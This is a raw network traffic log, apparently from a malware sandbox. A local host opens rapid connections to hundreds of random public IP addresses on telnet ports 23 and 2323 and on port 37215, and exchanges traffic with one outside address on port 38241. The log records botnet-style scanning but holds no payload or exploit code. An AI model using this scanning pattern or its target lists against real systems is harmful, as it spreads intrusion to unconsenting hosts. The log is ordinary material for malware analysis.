Jul 26, 2024 17:42:00.362709999 CEST	13638	23	192.168.2.15	170.16.26.38
Jul 26, 2024 17:42:00.362718105 CEST	23	13638	151.82.150.240	192.168.2.15
Jul 26, 2024 17:42:00.362720966 CEST	13638	2323	192.168.2.15	47.88.233.221
Jul 26, 2024 17:42:00.362721920 CEST	23	13638	158.187.164.155	192.168.2.15
Jul 26, 2024 17:42:00.362725973 CEST	23	13638	88.145.182.89	192.168.2.15
Jul 26, 2024 17:42:00.362734079 CEST	13638	23	192.168.2.15	106.247.170.43
Jul 26, 2024 17:42:00.362736940 CEST	23	13638	91.241.19.158	192.168.2.15
Jul 26, 2024 17:42:00.362737894 CEST	13638	23	192.168.2.15	188.190.35.2
Jul 26, 2024 17:42:00.362741947 CEST	2323	13638	155.209.226.138	192.168.2.15
Jul 26, 2024 17:42:00.362746000 CEST	23	13638	144.122.173.68	192.168.2.15
Jul 26, 2024 17:42:00.362747908 CEST	13638	23	192.168.2.15	20.17.59.129
Jul 26, 2024 17:42:00.362752914 CEST	13638	23	192.168.2.15	151.82.150.240
Jul 26, 2024 17:42:00.362757921 CEST	13638	23	192.168.2.15	178.183.80.193
Jul 26, 2024 17:42:00.362765074 CEST	13638	23	192.168.2.15	158.187.164.155
Jul 26, 2024 17:42:00.362766981 CEST	13638	23	192.168.2.15	91.55.61.191
Jul 26, 2024 17:42:00.362770081 CEST	13638	23	192.168.2.15	88.145.182.89
Jul 26, 2024 17:42:00.362770081 CEST	13638	23	192.168.2.15	144.122.173.68
Jul 26, 2024 17:42:00.362772942 CEST	13638	23	192.168.2.15	91.241.19.158
Jul 26, 2024 17:42:00.362782955 CEST	13638	2323	192.168.2.15	155.209.226.138
Jul 26, 2024 17:42:00.363183022 CEST	23	13638	168.82.162.230	192.168.2.15
Jul 26, 2024 17:42:00.363256931 CEST	13638	23	192.168.2.15	168.82.162.230
Jul 26, 2024 17:42:00.363264084 CEST	23	13638	74.96.124.167	192.168.2.15
Jul 26, 2024 17:42:00.363269091 CEST	23	13638	144.82.4.235	192.168.2.15
Jul 26, 2024 17:42:00.363280058 CEST	23	13638	5.225.27.112	192.168.2.15
Jul 26, 2024 17:42:00.363284111 CEST	23	13638	119.187.184.185	192.168.2.15
Jul 26, 2024 17:42:00.363302946 CEST	23	13638	69.11.22.77	192.168.2.15
Jul 26, 2024 17:42:00.363306999 CEST	2323	13638	142.42.239.69	192.168.2.15
Jul 26, 2024 17:42:00.363310099 CEST	23	13638	159.22.166.228	192.168.2.15
Jul 26, 2024 17:42:00.363313913 CEST	23	13638	9.41.182.68	192.168.2.15
Jul 26, 2024 17:42:00.363317013 CEST	13638	23	192.168.2.15	144.82.4.235
Jul 26, 2024 17:42:00.363317966 CEST	23	13638	209.254.16.104	192.168.2.15
Jul 26, 2024 17:42:00.363317966 CEST	13638	23	192.168.2.15	74.96.124.167
Jul 26, 2024 17:42:00.363317966 CEST	13638	23	192.168.2.15	5.225.27.112
Jul 26, 2024 17:42:00.363323927 CEST	23	13638	223.2.204.167	192.168.2.15
Jul 26, 2024 17:42:00.363327980 CEST	23	13638	8.114.77.112	192.168.2.15
Jul 26, 2024 17:42:00.363333941 CEST	13638	23	192.168.2.15	119.187.184.185
Jul 26, 2024 17:42:00.363337994 CEST	23	13638	101.142.103.249	192.168.2.15
Jul 26, 2024 17:42:00.363339901 CEST	13638	23	192.168.2.15	69.11.22.77
Jul 26, 2024 17:42:00.363342047 CEST	2323	13638	124.13.145.80	192.168.2.15
Jul 26, 2024 17:42:00.363344908 CEST	13638	23	192.168.2.15	159.22.166.228
Jul 26, 2024 17:42:00.363346100 CEST	13638	2323	192.168.2.15	142.42.239.69
Jul 26, 2024 17:42:00.363353014 CEST	13638	23	192.168.2.15	9.41.182.68
Jul 26, 2024 17:42:00.363353968 CEST	13638	23	192.168.2.15	209.254.16.104
Jul 26, 2024 17:42:00.363359928 CEST	23	13638	182.206.149.124	192.168.2.15
Jul 26, 2024 17:42:00.363360882 CEST	13638	23	192.168.2.15	223.2.204.167
Jul 26, 2024 17:42:00.363372087 CEST	13638	23	192.168.2.15	8.114.77.112
Jul 26, 2024 17:42:00.363372087 CEST	13638	2323	192.168.2.15	124.13.145.80
Jul 26, 2024 17:42:00.363375902 CEST	13638	23	192.168.2.15	101.142.103.249
Jul 26, 2024 17:42:00.363399982 CEST	13638	23	192.168.2.15	182.206.149.124
Jul 26, 2024 17:42:00.363414049 CEST	23	13638	154.69.157.126	192.168.2.15
Jul 26, 2024 17:42:00.363418102 CEST	23	13638	52.39.0.90	192.168.2.15
Jul 26, 2024 17:42:00.363421917 CEST	23	13638	205.86.164.46	192.168.2.15
Jul 26, 2024 17:42:00.363425970 CEST	23	13638	94.28.79.48	192.168.2.15
Jul 26, 2024 17:42:00.363429070 CEST	23	13638	147.14.251.120	192.168.2.15
Jul 26, 2024 17:42:00.363456011 CEST	13638	23	192.168.2.15	94.28.79.48
Jul 26, 2024 17:42:00.363457918 CEST	13638	23	192.168.2.15	205.86.164.46
Jul 26, 2024 17:42:00.363460064 CEST	13638	23	192.168.2.15	154.69.157.126
Jul 26, 2024 17:42:00.363480091 CEST	13638	23	192.168.2.15	52.39.0.90
Jul 26, 2024 17:42:00.363488913 CEST	13638	23	192.168.2.15	147.14.251.120
Jul 26, 2024 17:42:00.363538980 CEST	23	13638	76.241.17.13	192.168.2.15
Jul 26, 2024 17:42:00.363543034 CEST	23	13638	83.144.99.111	192.168.2.15
Jul 26, 2024 17:42:00.363552094 CEST	23	13638	188.205.241.183	192.168.2.15
Jul 26, 2024 17:42:00.363555908 CEST	23	13638	117.109.21.20	192.168.2.15
Jul 26, 2024 17:42:00.363559008 CEST	23	13638	65.14.4.240	192.168.2.15
Jul 26, 2024 17:42:00.363567114 CEST	23	13638	124.227.195.84	192.168.2.15
Jul 26, 2024 17:42:00.363570929 CEST	23	13638	17.90.54.230	192.168.2.15
Jul 26, 2024 17:42:00.363574028 CEST	23	13638	166.62.113.85	192.168.2.15
Jul 26, 2024 17:42:00.363583088 CEST	13638	23	192.168.2.15	76.241.17.13
Jul 26, 2024 17:42:00.363590956 CEST	13638	23	192.168.2.15	83.144.99.111
Jul 26, 2024 17:42:00.363591909 CEST	13638	23	192.168.2.15	117.109.21.20
Jul 26, 2024 17:42:00.363596916 CEST	13638	23	192.168.2.15	188.205.241.183
Jul 26, 2024 17:42:00.363601923 CEST	13638	23	192.168.2.15	65.14.4.240
Jul 26, 2024 17:42:00.363601923 CEST	13638	23	192.168.2.15	17.90.54.230
Jul 26, 2024 17:42:00.363601923 CEST	13638	23	192.168.2.15	124.227.195.84
Jul 26, 2024 17:42:00.363601923 CEST	13638	23	192.168.2.15	166.62.113.85
Jul 26, 2024 17:42:00.363970995 CEST	23	13638	58.142.153.230	192.168.2.15
Jul 26, 2024 17:42:00.363976002 CEST	23	13638	63.56.199.99	192.168.2.15
Jul 26, 2024 17:42:00.363986015 CEST	23	13638	107.21.37.94	192.168.2.15
Jul 26, 2024 17:42:00.363990068 CEST	23	13638	97.194.237.234	192.168.2.15
Jul 26, 2024 17:42:00.363997936 CEST	23	13638	132.219.119.152	192.168.2.15
Jul 26, 2024 17:42:00.364001989 CEST	23	13638	94.83.72.8	192.168.2.15
Jul 26, 2024 17:42:00.364012957 CEST	2323	13638	17.105.234.213	192.168.2.15
Jul 26, 2024 17:42:00.364013910 CEST	13638	23	192.168.2.15	63.56.199.99
Jul 26, 2024 17:42:00.364017010 CEST	13638	23	192.168.2.15	58.142.153.230
Jul 26, 2024 17:42:00.364025116 CEST	13638	23	192.168.2.15	97.194.237.234
Jul 26, 2024 17:42:00.364028931 CEST	13638	23	192.168.2.15	107.21.37.94
Jul 26, 2024 17:42:00.364029884 CEST	23	13638	117.17.113.127	192.168.2.15
Jul 26, 2024 17:42:00.364034891 CEST	2323	13638	144.147.20.228	192.168.2.15
Jul 26, 2024 17:42:00.364034891 CEST	13638	23	192.168.2.15	94.83.72.8
Jul 26, 2024 17:42:00.364036083 CEST	13638	23	192.168.2.15	132.219.119.152
Jul 26, 2024 17:42:00.364038944 CEST	23	13638	155.157.88.254	192.168.2.15
Jul 26, 2024 17:42:00.364053011 CEST	13638	2323	192.168.2.15	17.105.234.213
Jul 26, 2024 17:42:00.364073992 CEST	13638	2323	192.168.2.15	144.147.20.228
Jul 26, 2024 17:42:00.364073992 CEST	13638	23	192.168.2.15	117.17.113.127
Jul 26, 2024 17:42:00.364073992 CEST	13638	23	192.168.2.15	155.157.88.254
Jul 26, 2024 17:42:00.364363909 CEST	38241	46390	94.156.71.55	192.168.2.15
Jul 26, 2024 17:42:00.364415884 CEST	46390	38241	192.168.2.15	94.156.71.55
Jul 26, 2024 17:42:00.371593952 CEST	38241	46390	94.156.71.55	192.168.2.15
Jul 26, 2024 17:42:01.308753014 CEST	14150	37215	192.168.2.15	197.177.157.229
Jul 26, 2024 17:42:01.308825016 CEST	14150	37215	192.168.2.15	138.241.88.106
Jul 26, 2024 17:42:01.308892012 CEST	14150	37215	192.168.2.15	38.159.80.31
Jul 26, 2024 17:42:01.308923006 CEST	14150	37215	192.168.2.15	41.5.202.237
Jul 26, 2024 17:42:01.308938980 CEST	14150	37215	192.168.2.15	41.7.187.58
Jul 26, 2024 17:42:01.308938980 CEST	14150	37215	192.168.2.15	41.0.76.25
Jul 26, 2024 17:42:01.308938980 CEST	14150	37215	192.168.2.15	41.111.174.14
Jul 26, 2024 17:42:01.308962107 CEST	14150	37215	192.168.2.15	197.102.69.152
Jul 26, 2024 17:42:01.308963060 CEST	14150	37215	192.168.2.15	41.81.168.186
Jul 26, 2024 17:42:01.308963060 CEST	14150	37215	192.168.2.15	197.59.103.218
Jul 26, 2024 17:42:01.309006929 CEST	14150	37215	192.168.2.15	162.78.194.150
Jul 26, 2024 17:42:01.309006929 CEST	14150	37215	192.168.2.15	157.242.102.120
Jul 26, 2024 17:42:01.309015036 CEST	14150	37215	192.168.2.15	157.29.60.137
Jul 26, 2024 17:42:01.309019089 CEST	14150	37215	192.168.2.15	157.247.151.221
Jul 26, 2024 17:42:01.309019089 CEST	14150	37215	192.168.2.15	197.58.42.18
Jul 26, 2024 17:42:01.309019089 CEST	14150	37215	192.168.2.15	41.126.155.133
Jul 26, 2024 17:42:01.309070110 CEST	14150	37215	192.168.2.15	41.142.186.15
Jul 26, 2024 17:42:01.309070110 CEST	14150	37215	192.168.2.15	41.171.191.115
Jul 26, 2024 17:42:01.309070110 CEST	14150	37215	192.168.2.15	197.252.66.81
Jul 26, 2024 17:42:01.309072018 CEST	14150	37215	192.168.2.15	144.69.50.41
Jul 26, 2024 17:42:01.309093952 CEST	14150	37215	192.168.2.15	157.220.150.128
Jul 26, 2024 17:42:01.309093952 CEST	14150	37215	192.168.2.15	197.168.251.157
Jul 26, 2024 17:42:01.309113979 CEST	14150	37215	192.168.2.15	41.198.242.180
Jul 26, 2024 17:42:01.309190989 CEST	14150	37215	192.168.2.15	197.144.27.199
Jul 26, 2024 17:42:01.309214115 CEST	14150	37215	192.168.2.15	51.108.41.208
Jul 26, 2024 17:42:01.309231043 CEST	14150	37215	192.168.2.15	135.178.80.154
Jul 26, 2024 17:42:01.309231043 CEST	14150	37215	192.168.2.15	197.103.38.94
Jul 26, 2024 17:42:01.309231997 CEST	14150	37215	192.168.2.15	41.179.125.65
Jul 26, 2024 17:42:01.309231997 CEST	14150	37215	192.168.2.15	197.86.231.52
Jul 26, 2024 17:42:01.309231997 CEST	14150	37215	192.168.2.15	73.197.53.164
Jul 26, 2024 17:42:01.309266090 CEST	14150	37215	192.168.2.15	197.6.156.37
Jul 26, 2024 17:42:01.309269905 CEST	14150	37215	192.168.2.15	157.205.241.136
Jul 26, 2024 17:42:01.309266090 CEST	14150	37215	192.168.2.15	157.191.171.195
Jul 26, 2024 17:42:01.309315920 CEST	14150	37215	192.168.2.15	157.133.25.221
Jul 26, 2024 17:42:01.309340000 CEST	14150	37215	192.168.2.15	41.14.143.13
Jul 26, 2024 17:42:01.309361935 CEST	14150	37215	192.168.2.15	41.86.227.89
Jul 26, 2024 17:42:01.309361935 CEST	14150	37215	192.168.2.15	157.145.126.187
Jul 26, 2024 17:42:01.309392929 CEST	14150	37215	192.168.2.15	197.120.101.119
Jul 26, 2024 17:42:01.309392929 CEST	14150	37215	192.168.2.15	200.16.103.54
Jul 26, 2024 17:42:01.309396982 CEST	14150	37215	192.168.2.15	41.154.48.61
Jul 26, 2024 17:42:01.309415102 CEST	14150	37215	192.168.2.15	197.129.94.15
Jul 26, 2024 17:42:01.309492111 CEST	14150	37215	192.168.2.15	197.185.20.240
Jul 26, 2024 17:42:01.309492111 CEST	14150	37215	192.168.2.15	197.43.64.85
Jul 26, 2024 17:42:01.309492111 CEST	14150	37215	192.168.2.15	204.143.116.245
Jul 26, 2024 17:42:01.309493065 CEST	14150	37215	192.168.2.15	41.122.212.110
Jul 26, 2024 17:42:01.309494019 CEST	14150	37215	192.168.2.15	41.146.117.202
Jul 26, 2024 17:42:01.309494019 CEST	14150	37215	192.168.2.15	197.183.47.161
Jul 26, 2024 17:42:01.309494019 CEST	14150	37215	192.168.2.15	197.0.168.138
Jul 26, 2024 17:42:01.309494019 CEST	14150	37215	192.168.2.15	220.221.227.150
Jul 26, 2024 17:42:01.309494972 CEST	14150	37215	192.168.2.15	18.140.95.241
Jul 26, 2024 17:42:01.309494972 CEST	14150	37215	192.168.2.15	157.59.95.7
Jul 26, 2024 17:42:01.309525967 CEST	14150	37215	192.168.2.15	157.6.12.2
Jul 26, 2024 17:42:01.309555054 CEST	14150	37215	192.168.2.15	142.48.165.210
Jul 26, 2024 17:42:01.309570074 CEST	14150	37215	192.168.2.15	210.79.249.214
Jul 26, 2024 17:42:01.309570074 CEST	14150	37215	192.168.2.15	157.71.101.119
Jul 26, 2024 17:42:01.309595108 CEST	14150	37215	192.168.2.15	41.59.175.0
Jul 26, 2024 17:42:01.309624910 CEST	14150	37215	192.168.2.15	54.163.65.174
Jul 26, 2024 17:42:01.309624910 CEST	14150	37215	192.168.2.15	41.0.33.236
Jul 26, 2024 17:42:01.309624910 CEST	14150	37215	192.168.2.15	157.168.94.136
Jul 26, 2024 17:42:01.309624910 CEST	14150	37215	192.168.2.15	157.157.131.173
Jul 26, 2024 17:42:01.309667110 CEST	14150	37215	192.168.2.15	157.82.88.207
Jul 26, 2024 17:42:01.309667110 CEST	14150	37215	192.168.2.15	197.96.30.158
Jul 26, 2024 17:42:01.309667110 CEST	14150	37215	192.168.2.15	157.224.213.250
Jul 26, 2024 17:42:01.309706926 CEST	14150	37215	192.168.2.15	197.87.88.212
Jul 26, 2024 17:42:01.309731960 CEST	14150	37215	192.168.2.15	197.252.64.67
Jul 26, 2024 17:42:01.309755087 CEST	14150	37215	192.168.2.15	41.248.247.95
Jul 26, 2024 17:42:01.309756041 CEST	14150	37215	192.168.2.15	203.175.49.128
Jul 26, 2024 17:42:01.309762001 CEST	14150	37215	192.168.2.15	41.146.240.249
Jul 26, 2024 17:42:01.309792995 CEST	14150	37215	192.168.2.15	157.195.192.124
Jul 26, 2024 17:42:01.309793949 CEST	14150	37215	192.168.2.15	157.38.194.98
Jul 26, 2024 17:42:01.309813976 CEST	14150	37215	192.168.2.15	84.142.70.142
Jul 26, 2024 17:42:01.309828997 CEST	14150	37215	192.168.2.15	157.62.214.218
Jul 26, 2024 17:42:01.309892893 CEST	14150	37215	192.168.2.15	197.5.185.100
Jul 26, 2024 17:42:01.309892893 CEST	14150	37215	192.168.2.15	197.108.103.96
Jul 26, 2024 17:42:01.309894085 CEST	14150	37215	192.168.2.15	197.1.190.155
Jul 26, 2024 17:42:01.309900045 CEST	14150	37215	192.168.2.15	157.117.193.179
Jul 26, 2024 17:42:01.309910059 CEST	14150	37215	192.168.2.15	157.163.236.171
Jul 26, 2024 17:42:01.309914112 CEST	14150	37215	192.168.2.15	149.11.203.227
Jul 26, 2024 17:42:01.309928894 CEST	14150	37215	192.168.2.15	157.221.241.39
Jul 26, 2024 17:42:01.309928894 CEST	14150	37215	192.168.2.15	41.16.54.221
Jul 26, 2024 17:42:01.309962034 CEST	14150	37215	192.168.2.15	197.220.7.86
Jul 26, 2024 17:42:01.309967041 CEST	14150	37215	192.168.2.15	157.95.234.122
Jul 26, 2024 17:42:01.309977055 CEST	14150	37215	192.168.2.15	197.212.231.163
Jul 26, 2024 17:42:01.310018063 CEST	14150	37215	192.168.2.15	197.31.114.175
Jul 26, 2024 17:42:01.310018063 CEST	14150	37215	192.168.2.15	112.241.158.156
Jul 26, 2024 17:42:01.310044050 CEST	14150	37215	192.168.2.15	41.147.86.149
Jul 26, 2024 17:42:01.310056925 CEST	14150	37215	192.168.2.15	197.32.226.228
Jul 26, 2024 17:42:01.310065985 CEST	14150	37215	192.168.2.15	41.167.143.189
Jul 26, 2024 17:42:01.310096979 CEST	14150	37215	192.168.2.15	197.136.38.223
Jul 26, 2024 17:42:01.310101986 CEST	14150	37215	192.168.2.15	41.204.92.1
Jul 26, 2024 17:42:01.310132027 CEST	14150	37215	192.168.2.15	43.151.189.93
Jul 26, 2024 17:42:01.310132027 CEST	14150	37215	192.168.2.15	192.65.243.212
Jul 26, 2024 17:42:01.310132027 CEST	14150	37215	192.168.2.15	190.25.101.185
Jul 26, 2024 17:42:01.310134888 CEST	14150	37215	192.168.2.15	157.132.98.132
Jul 26, 2024 17:42:01.310136080 CEST	14150	37215	192.168.2.15	149.157.92.16
Jul 26, 2024 17:42:01.310148001 CEST	14150	37215	192.168.2.15	213.199.74.86
Jul 26, 2024 17:42:01.310189009 CEST	14150	37215	192.168.2.15	197.33.79.231
Jul 26, 2024 17:42:01.310189962 CEST	14150	37215	192.168.2.15	197.79.248.134
Jul 26, 2024 17:42:01.310215950 CEST	14150	37215	192.168.2.15	197.211.38.218
Jul 26, 2024 17:42:01.310240030 CEST	14150	37215	192.168.2.15	197.96.191.48
Jul 26, 2024 17:42:01.310241938 CEST	14150	37215	192.168.2.15	157.84.185.125
Jul 26, 2024 17:42:01.310266972 CEST	14150	37215	192.168.2.15	41.15.230.21
Jul 26, 2024 17:42:01.310271025 CEST	14150	37215	192.168.2.15	197.152.93.123
Jul 26, 2024 17:42:01.310328007 CEST	14150	37215	192.168.2.15	129.20.199.73
Jul 26, 2024 17:42:01.310384989 CEST	14150	37215	192.168.2.15	157.208.70.151
Jul 26, 2024 17:42:01.310436010 CEST	14150	37215	192.168.2.15	41.169.9.154
Jul 26, 2024 17:42:01.310436964 CEST	14150	37215	192.168.2.15	114.172.77.114
Jul 26, 2024 17:42:01.310436010 CEST	14150	37215	192.168.2.15	157.250.167.41
Jul 26, 2024 17:42:01.310436964 CEST	14150	37215	192.168.2.15	41.106.215.1
Jul 26, 2024 17:42:01.310436964 CEST	14150	37215	192.168.2.15	197.195.17.246
Jul 26, 2024 17:42:01.310437918 CEST	14150	37215	192.168.2.15	41.121.110.5
Jul 26, 2024 17:42:01.310441017 CEST	14150	37215	192.168.2.15	181.241.193.199
Jul 26, 2024 17:42:01.310451984 CEST	14150	37215	192.168.2.15	41.171.72.163
Jul 26, 2024 17:42:01.310451984 CEST	14150	37215	192.168.2.15	197.163.5.223
Jul 26, 2024 17:42:01.310499907 CEST	14150	37215	192.168.2.15	157.2.163.219
Jul 26, 2024 17:42:01.310499907 CEST	14150	37215	192.168.2.15	52.148.117.84
Jul 26, 2024 17:42:01.310509920 CEST	14150	37215	192.168.2.15	154.7.158.36
Jul 26, 2024 17:42:01.310523987 CEST	14150	37215	192.168.2.15	157.124.151.95
Jul 26, 2024 17:42:01.310559988 CEST	14150	37215	192.168.2.15	88.227.163.161
Jul 26, 2024 17:42:01.310559988 CEST	14150	37215	192.168.2.15	157.16.20.166
Jul 26, 2024 17:42:01.310580015 CEST	14150	37215	192.168.2.15	197.56.98.93
Jul 26, 2024 17:42:01.310606956 CEST	14150	37215	192.168.2.15	197.103.146.31
Jul 26, 2024 17:42:01.310606956 CEST	14150	37215	192.168.2.15	41.88.111.68
Jul 26, 2024 17:42:01.310646057 CEST	14150	37215	192.168.2.15	41.31.77.205
Jul 26, 2024 17:42:01.310647011 CEST	14150	37215	192.168.2.15	123.21.83.215
Jul 26, 2024 17:42:01.310646057 CEST	14150	37215	192.168.2.15	41.0.177.19
Jul 26, 2024 17:42:01.310648918 CEST	14150	37215	192.168.2.15	41.95.182.105
Jul 26, 2024 17:42:01.310664892 CEST	14150	37215	192.168.2.15	157.73.201.53
Jul 26, 2024 17:42:01.310683966 CEST	14150	37215	192.168.2.15	202.116.141.116
Jul 26, 2024 17:42:01.310709953 CEST	14150	37215	192.168.2.15	41.80.154.146
Jul 26, 2024 17:42:01.310722113 CEST	14150	37215	192.168.2.15	197.213.229.21
Jul 26, 2024 17:42:01.310736895 CEST	14150	37215	192.168.2.15	157.138.212.251
Jul 26, 2024 17:42:01.310755968 CEST	14150	37215	192.168.2.15	197.86.117.64
Jul 26, 2024 17:42:01.310756922 CEST	14150	37215	192.168.2.15	157.144.141.189
Jul 26, 2024 17:42:01.310756922 CEST	14150	37215	192.168.2.15	41.82.49.47
Jul 26, 2024 17:42:01.310776949 CEST	14150	37215	192.168.2.15	197.99.207.244
Jul 26, 2024 17:42:01.310805082 CEST	14150	37215	192.168.2.15	41.36.106.162
Jul 26, 2024 17:42:01.310834885 CEST	14150	37215	192.168.2.15	68.167.0.57
Jul 26, 2024 17:42:01.310834885 CEST	14150	37215	192.168.2.15	41.168.42.164
Jul 26, 2024 17:42:01.310837030 CEST	14150	37215	192.168.2.15	157.83.73.123
Jul 26, 2024 17:42:01.310873032 CEST	14150	37215	192.168.2.15	41.70.235.253
Jul 26, 2024 17:42:01.310894012 CEST	14150	37215	192.168.2.15	157.77.109.254
Jul 26, 2024 17:42:01.310894012 CEST	14150	37215	192.168.2.15	174.115.244.95
Jul 26, 2024 17:42:01.310894966 CEST	14150	37215	192.168.2.15	157.160.156.49
Jul 26, 2024 17:42:01.310894966 CEST	14150	37215	192.168.2.15	157.31.190.63
Jul 26, 2024 17:42:01.310956001 CEST	14150	37215	192.168.2.15	197.182.204.180
Jul 26, 2024 17:42:01.310976982 CEST	14150	37215	192.168.2.15	197.103.207.93
Jul 26, 2024 17:42:01.310981035 CEST	14150	37215	192.168.2.15	197.125.158.232
Jul 26, 2024 17:42:01.310981035 CEST	14150	37215	192.168.2.15	89.78.10.110
Jul 26, 2024 17:42:01.310986996 CEST	14150	37215	192.168.2.15	197.11.239.148
Jul 26, 2024 17:42:01.311024904 CEST	14150	37215	192.168.2.15	197.190.184.173
Jul 26, 2024 17:42:01.311024904 CEST	14150	37215	192.168.2.15	73.101.145.240
Jul 26, 2024 17:42:01.311024904 CEST	14150	37215	192.168.2.15	41.36.157.115
Jul 26, 2024 17:42:01.311033010 CEST	14150	37215	192.168.2.15	197.83.69.164
Jul 26, 2024 17:42:01.311068058 CEST	14150	37215	192.168.2.15	157.135.96.216
Jul 26, 2024 17:42:01.311068058 CEST	14150	37215	192.168.2.15	96.106.11.16
Jul 26, 2024 17:42:01.311083078 CEST	14150	37215	192.168.2.15	41.94.11.186
Jul 26, 2024 17:42:01.311105967 CEST	14150	37215	192.168.2.15	157.60.223.99
Jul 26, 2024 17:42:01.311110973 CEST	14150	37215	192.168.2.15	157.237.129.112
Jul 26, 2024 17:42:01.311119080 CEST	14150	37215	192.168.2.15	197.79.55.82
Jul 26, 2024 17:42:01.311131954 CEST	14150	37215	192.168.2.15	197.181.197.198
Jul 26, 2024 17:42:01.311211109 CEST	14150	37215	192.168.2.15	197.62.145.99
Jul 26, 2024 17:42:01.311211109 CEST	14150	37215	192.168.2.15	197.71.92.250
Jul 26, 2024 17:42:01.311212063 CEST	14150	37215	192.168.2.15	157.242.37.198
Jul 26, 2024 17:42:01.311233044 CEST	14150	37215	192.168.2.15	157.222.248.184
Jul 26, 2024 17:42:01.311263084 CEST	14150	37215	192.168.2.15	157.154.39.9
Jul 26, 2024 17:42:01.311263084 CEST	14150	37215	192.168.2.15	81.248.74.146
Jul 26, 2024 17:42:01.311301947 CEST	14150	37215	192.168.2.15	54.135.243.118
Jul 26, 2024 17:42:01.311304092 CEST	14150	37215	192.168.2.15	197.12.77.26
Jul 26, 2024 17:42:01.311302900 CEST	14150	37215	192.168.2.15	41.30.22.113
Jul 26, 2024 17:42:01.311356068 CEST	14150	37215	192.168.2.15	41.159.91.18
Jul 26, 2024 17:42:01.311356068 CEST	14150	37215	192.168.2.15	19.12.63.247
Jul 26, 2024 17:42:01.311357975 CEST	14150	37215	192.168.2.15	41.158.124.205
Jul 26, 2024 17:42:01.311398983 CEST	14150	37215	192.168.2.15	157.100.184.235
Jul 26, 2024 17:42:01.311398983 CEST	14150	37215	192.168.2.15	41.133.216.121
Jul 26, 2024 17:42:01.311404943 CEST	14150	37215	192.168.2.15	197.122.156.147
Jul 26, 2024 17:42:01.311443090 CEST	14150	37215	192.168.2.15	41.175.33.170
Jul 26, 2024 17:42:01.311444044 CEST	14150	37215	192.168.2.15	157.254.50.117
Jul 26, 2024 17:42:01.311444998 CEST	14150	37215	192.168.2.15	41.176.233.18
Jul 26, 2024 17:42:01.311454058 CEST	14150	37215	192.168.2.15	209.42.232.104
Jul 26, 2024 17:42:01.311491013 CEST	14150	37215	192.168.2.15	197.12.184.96
Jul 26, 2024 17:42:01.311536074 CEST	14150	37215	192.168.2.15	76.116.2.201
Jul 26, 2024 17:42:01.311537027 CEST	14150	37215	192.168.2.15	157.244.152.99
Jul 26, 2024 17:42:01.311537027 CEST	14150	37215	192.168.2.15	157.108.26.153
Jul 26, 2024 17:42:01.311537027 CEST	14150	37215	192.168.2.15	157.36.73.144
Jul 26, 2024 17:42:01.311543941 CEST	14150	37215	192.168.2.15	197.83.166.17
Jul 26, 2024 17:42:01.311554909 CEST	14150	37215	192.168.2.15	41.111.119.42
Jul 26, 2024 17:42:01.311625004 CEST	14150	37215	192.168.2.15	157.245.191.29
Jul 26, 2024 17:42:01.311631918 CEST	14150	37215	192.168.2.15	197.204.62.77
Jul 26, 2024 17:42:01.311636925 CEST	14150	37215	192.168.2.15	12.225.247.90
Jul 26, 2024 17:42:01.311638117 CEST	14150	37215	192.168.2.15	46.183.5.78
Jul 26, 2024 17:42:01.311650991 CEST	14150	37215	192.168.2.15	41.165.200.1
Jul 26, 2024 17:42:01.311650991 CEST	14150	37215	192.168.2.15	41.196.193.149
Jul 26, 2024 17:42:01.311652899 CEST	14150	37215	192.168.2.15	157.107.164.216
Jul 26, 2024 17:42:01.311652899 CEST	14150	37215	192.168.2.15	197.70.51.141
Jul 26, 2024 17:42:01.311700106 CEST	14150	37215	192.168.2.15	197.30.209.47
Jul 26, 2024 17:42:01.311700106 CEST	14150	37215	192.168.2.15	41.138.56.15
Jul 26, 2024 17:42:01.311700106 CEST	14150	37215	192.168.2.15	8.236.68.197
Jul 26, 2024 17:42:01.311716080 CEST	14150	37215	192.168.2.15	197.64.238.80
Jul 26, 2024 17:42:01.311741114 CEST	14150	37215	192.168.2.15	41.226.48.18
Jul 26, 2024 17:42:01.311767101 CEST	14150	37215	192.168.2.15	125.144.131.53
Jul 26, 2024 17:42:01.311768055 CEST	14150	37215	192.168.2.15	157.151.204.50
Jul 26, 2024 17:42:01.311769962 CEST	14150	37215	192.168.2.15	197.193.219.255
Jul 26, 2024 17:42:01.311799049 CEST	14150	37215	192.168.2.15	41.56.246.89
Jul 26, 2024 17:42:01.311824083 CEST	14150	37215	192.168.2.15	197.25.91.192
Jul 26, 2024 17:42:01.311832905 CEST	14150	37215	192.168.2.15	47.152.232.234
Jul 26, 2024 17:42:01.311877966 CEST	14150	37215	192.168.2.15	41.42.39.104
Jul 26, 2024 17:42:01.311880112 CEST	14150	37215	192.168.2.15	53.151.238.12
Jul 26, 2024 17:42:01.311880112 CEST	14150	37215	192.168.2.15	157.60.137.233
Jul 26, 2024 17:42:01.311897993 CEST	14150	37215	192.168.2.15	157.153.209.87
Jul 26, 2024 17:42:01.311916113 CEST	14150	37215	192.168.2.15	197.77.99.1
Jul 26, 2024 17:42:01.311916113 CEST	14150	37215	192.168.2.15	174.4.113.41
Jul 26, 2024 17:42:01.311917067 CEST	14150	37215	192.168.2.15	41.27.89.114
Jul 26, 2024 17:42:01.311918020 CEST	14150	37215	192.168.2.15	41.235.152.24
Jul 26, 2024 17:42:01.311950922 CEST	14150	37215	192.168.2.15	157.163.84.102
Jul 26, 2024 17:42:01.311979055 CEST	14150	37215	192.168.2.15	157.189.80.18
Jul 26, 2024 17:42:01.311981916 CEST	14150	37215	192.168.2.15	197.123.207.71
Jul 26, 2024 17:42:01.311981916 CEST	14150	37215	192.168.2.15	41.81.94.77
Jul 26, 2024 17:42:01.311981916 CEST	14150	37215	192.168.2.15	41.240.84.13
Jul 26, 2024 17:42:01.312000036 CEST	14150	37215	192.168.2.15	197.115.141.226
Jul 26, 2024 17:42:01.312028885 CEST	14150	37215	192.168.2.15	221.75.16.220
Jul 26, 2024 17:42:01.312030077 CEST	14150	37215	192.168.2.15	197.86.246.149
Jul 26, 2024 17:42:01.312030077 CEST	14150	37215	192.168.2.15	41.15.182.212
Jul 26, 2024 17:42:01.312063932 CEST	14150	37215	192.168.2.15	66.64.24.232
Jul 26, 2024 17:42:01.312084913 CEST	14150	37215	192.168.2.15	41.157.99.38
Jul 26, 2024 17:42:01.312114954 CEST	14150	37215	192.168.2.15	41.151.129.188
Jul 26, 2024 17:42:01.312160015 CEST	14150	37215	192.168.2.15	41.50.129.29
Jul 26, 2024 17:42:01.312175035 CEST	14150	37215	192.168.2.15	157.101.49.124
Jul 26, 2024 17:42:01.312207937 CEST	14150	37215	192.168.2.15	41.97.102.149
